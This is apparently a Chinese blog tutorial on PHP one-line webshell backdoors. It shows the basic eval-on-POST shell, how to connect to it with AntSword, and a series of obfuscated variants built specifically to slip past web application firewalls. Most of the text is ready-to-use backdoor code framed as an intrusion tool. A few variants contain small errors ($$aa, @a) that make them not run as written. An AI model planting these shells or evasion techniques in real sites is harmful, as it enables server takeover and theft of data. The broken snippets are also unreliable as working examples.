php 一句话木马简介

一句话木马就是一段简单的代码,就这短短的一行代码,就能做到和大马相当的功能。一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。

一句话木马工作原理

<?php @eval($_POST['shell']);?>
这是php的一句话后门中最普遍的一种。它的工作原理是:
首先存在一个名为shell的变量,shell的取值为HTTP的POST方式。Web服务器对shell取值以后,然后通过eval()函数执行shell里面的内容。

实例:

<?php @eval($_POST['shell']);?>

将以上代码写入webshell.php文件中然后放在站点目录下通过浏览器访问,以POST方式传入shell=phpinfo();

也可以用蚁剑或菜刀等工具连接(我这里用的是蚁剑):
在url地址框中输入http://127.0.0.1/webshell.php,在连接密码框中输入shell

然后就可以看到目标站点目录下的文件了

一句话木马的多种变形

一般的php一句话后门很容易被网站防火墙waf拦截,而waf通常通过判断关键字来辨别一句话木马,要想绕过waf就需要对木马进行一些变形。

php变量

<?php 
$a = "assert";
$a(@$_POST['shell']); 
?>

第三行使用了变量函数$a,变量储存了函数名asse,便可以直接用变量替代函数名。
php变量简单变形1

<?php  
$a="TR"."Es"."sA";  
$b=strtolower($a);  
$c=strrev($b);  
@$c($_POST['shell']);  
?>

使用字符串拼接、大小写混淆、字符串逆序组合而成

php变量简单变形2

<?php  
$a="AssERT";  
$b=strtolower($a);  
@$b($_POST['shell']);  
?>

使用大小写混淆配合字符串转小写函数strtolower组合而成

PHP可变变量

<?php
$bb="assert";
$a='bb';
$$aa($_POST['shell']);
?>

以上代码可表示为$$aa = $($aa) = $ (‘bb’) = $bb = "assert"

自定义函数

<?php  
function fun($a){  
    @eval($a);  
}  
@fun($_POST['shell']);  
?>

使用function自定义函数,然后函数来调用eval函数

create_function函数

<?php 
$fun = create_function('',$_POST['shell']);
$fun();
?>

创建了一个匿名函数,并返回了一个独一无二的函数名,然后再调用此函数

call_user_func()函数

<?php
@call_user_func(assert,$_POST['shell']);
?>

call_user_func()函数的第一个参数是被调动的函数,剩下的参数(可有多个参数)是被调用函数的参数

base64_decode 函数

<?php   
$a=base64_decode("YXNzZXJ0");  
@a($_POST['shell']);  
?>

YXNzZXJ0是assert的base64编码,base64_decode()是base64解密函数

preg_replace函数

<?php   
    function fun(){  
        return $_POST['shell'];  
    }  
    @preg_replace("/test/e", fun(), "test123");  
?>

preg_replace 函数一个参数是一个正则表达式,按照 php的格式,表达式在两个/之间,如果在表达式末尾加上一个 e,则第二个参数就会被当做 php代码执行。

pares_str函数

<?php
$str="a=eval";
parse_str($str);
$a($_POST['shell']);
?>

执行pares_str函数后可以生成一个名为$a,值为"eval"的变量。

str_replace函数

<?php 
$a = str_replace("test", "", "astestsert");
$a($_POST['shell']);
?>

此函数用于将第三个参数中的第一个参数替换为第二个参数

以上的POST也可替换成GET,但同时shell的传递方式也要改为GET形式,在使用一句话木马时,也可以在前面加一个@来屏蔽错误,增加其隐蔽性。

总结:一句话木马的变换方式还有很多种,本小白也是浅浅的总结了一下。

 

 

热门文章

暂无图片
编程学习 ·

sqlserver:临时表的删除

遇到一个坑: 某天,定时作业失败了多次,但代码没变动,这就奇了怪了。。 结果:经检查,每次执行的时候,临时表若存在,就会失败。 分析:当初不写删除临时表,是查询了临时表的定义,会话内自动结束,不知道是哪出现了问题。 解决: if OBJECT_ID(tempdb..#tempList) is no…
暂无图片
编程学习 ·

Prometheus的安装与配置

一、什么是PrometheusPrometheus是由SoundCloud开发的开源监控报警系统和时序列数据库(TSDB)。Prometheus使用Go语言开发,是Google BorgMon监控系统的开源版本。2016年由Google发起Linux基金会旗下的原生云基金会(Cloud Native Computing Foundation), 将Prometheus纳入其下第…
暂无图片
编程学习 ·

操作系统——银行家算法

银行家算法安全性检测C++实现,求安全序列 #include <bits/stdc++.h>using namespace std; const int N = 100;const int total_resources = 3; //资源总数struct process {/* data */int resources_max[total_resources]; //每种资源的总大需求量int resources_a…
暂无图片
编程学习 ·

java后端重点

java基础,设计模式,jvm原理,spring+springmvc原理及源码,linux,mysql事务隔离与锁机制,mongodb,http/tcp,多线程,分布式架构(dubbo,dubbox,spring cloud),弹性计算架构,微服务架构(springboot+zookeeper+docker+jenkins),java性能优化,以及相关的项目管理等…
暂无图片
编程学习 ·

leetcode 124. 二叉树中的最大路径和

题目 给定一个非空二叉树,返回其最大路径和。 本题中,路径被定义为一条从树中任意节点出发,达到任意节点的序列。该路径至少包含一个节点,且不一定经过根节点。 思路 简单题,dfs返回当前节点为一端的最大链。答案有两种情况,1 当前节点到子孙的一条链 2 当前节点为中端,…
暂无图片
编程学习 ·

查找序列元素(链表)

查找序列元素(链表) 问题描述: 使用带头结点的单链表编程: 一群学生排成一行,输入一个学号,请确定该学号学生所在的位置。 输入说明: 第一行输入学生信息: 第一个整数n(0<=n<=100),表示共有n个学生,其后有n个整数,表示n个 学生的学号 第二行及以后各行,…
暂无图片
编程学习 ·

笔试

1、将一个字符串中的转换成整数(过滤掉非数字字符,如果字符串中第一次出现的数字前面有负号,转换结果需要为负数,不用考虑大数溢出问题)例1:"a00bc,123/\450-=+.,789" 转换成 123450789例2:"a00b-c,123/\450-=+.,789" 转换成 -123450789public static in…
暂无图片
编程学习 ·

在海外如何寻找蓝海市场

2010年左右,我国跨境进口零售电商企业开始逐渐出现,到2015年电商数量实现了爆发式的增长。当然,随后就开始进入红海时代,网易考拉海购、天猫国际、京东全球购、唯品国际、小红书、洋码头占领了大部分市场。 国内红海,那就出海。 红海、蓝海概念的提出,让更多的创业者积极…
暂无图片
编程学习 ·

c#UDP协议通讯

在写具体的用c#实现UDP通讯的方式之前,我们要先搞清楚相关的概念,那就是什么是UDP协议。UDP和TCP一样,是同属于TCP/IP协议簇的传输层协议:这里一定要注意TCP/IP是指一堆协议的集合,而这些集合之中又属TCP协议和IP协议比较重要,所以就将此协议集合以TCP/IP的方式进行命名。…
暂无图片
编程学习 ·

抓头,0xc00005错误看到一个比较多的解释 记录一下

说明文字:PAGE-FAULT-IN-NONPAGED-AREA 通常的原因:内存错误(数据不能使用分页文件交换到磁盘中). 解决方法:卸掉所有的新近安装的硬件. 运行由计算机制造商提供的所有系统诊断软件.尤其是内存检查. 检查是否正确安装了所有新硬件或软件,如果这是一次全新安装,请与硬件或软…
暂无图片
编程学习 ·

idea+maven配置log4j详解

实现log4j打印日志依赖的jar包共3个,在pom.xml中加入相关依赖: <!-- 添加log4j日志相关jar包:共3个jar--><!-- https://mvnrepository.com/artifact/log4j/log4j --><dependency><groupId>log4j</groupId><artifactId>log4j</artifac…
暂无图片
编程学习 ·

KMP算法

KMPKMP主要使用场景场景注意事项结构模板结构模板主体初始化建立前缀表移动处理前缀表循环匹配实现cpp经典问题字符串模式匹配问题描述例题演示实现cpp参考文献 KMP 主要使用场景场景字符串模式匹配注意事项KMP需要输入两个字符串,使用string的时候自带长度,使用纯c的时候请自己…
暂无图片
编程学习 ·

mysql(一)认知了解

文章目录mysql(一)数据库(database)什么是mysql系统特性应用场景 mysql(一) 官网 中文的 数据库(database)数据库是“按照数据结构来组织、存储和管理数据的仓库”。是一个长期存储在计算机内的、有组织的、可共享的、统一管理的大量数据的集合。 数据库是以一定方式储…
暂无图片
编程学习 ·

每日一题 -- LeetCode (八)

JavaScript / TypeScript for LeetCode 当前进程:开始时间:2020.6.27 结束时间:undefinedGitHub仓库:https://github.com/Cundefined/JavaScript-or-TypeScript-for-LeetCode 参考视频:https://www.bilibili.com/video/BV1wA411b7qZ 1、题目要求 ( LeetCode-第53题 ) 最大…
暂无图片
编程学习 ·

Oacle-获取CLOB类型xml数据中指定节点数据

语法 select extractvalue(xmltype(colomnName),TraceNodePath) from tableName;本地小实验一下: 一、建表 create table panda(id number,xmlParam clob);二、插入数据: insert into panda values(1,to_clob( <xml> <head> <TransCode>dms03004</Trans…
暂无图片
编程学习 ·

企业人力资源管理项目SSH+EXTJS+MySQL整合开发源码分享

企业人力资源管理项目,是SSH+EXT+MySQL+MD5...... 功能有:会话过滤、MD5加密、文件上传、权限设置、报表统计......运行环境jdk7tomcat7mysqlIntelliJ IDEA 项目技术(必填)springstrutshibernate 项目截图运行截图关注点赞之后,私信关键字【源码】即可免费获取~
暂无图片
编程学习 ·

Yarn工作原理自我总结

如图所示 1.由Client(客户端)提交一个作业请求给ResourceManager(资源管理器) 2.ResourceManager生成一个ApplicationMaster(程序管理员),并根据Node Status(状态)在空闲的NodeManager节点上运行ApplicationMaster 3.ApplicationMaster向ResourceManager注册其信息,并发送资源…
暂无图片
编程学习 ·

opencv画3d骨架图

效果: import matplotlib.pyplot as plt import numpy as np# h36m骨架连接顺序,每个骨架三个维度,分别为:起始关节,终止关节,左右关节标识(1 left 0 right),用来区别颜色 human36m_connectivity_dict = [[0, 1, 0], [1, 2, 0], [2, 6, 0], [5, 4, 1], [4, 3, 1], [3, 6…
暂无图片
编程学习 ·

1.9 OSPF 特殊区域

笔记用由typora写的,我截图效果好一点,笔记复制过来有很多地问题(图片不显示,排版问题等等)。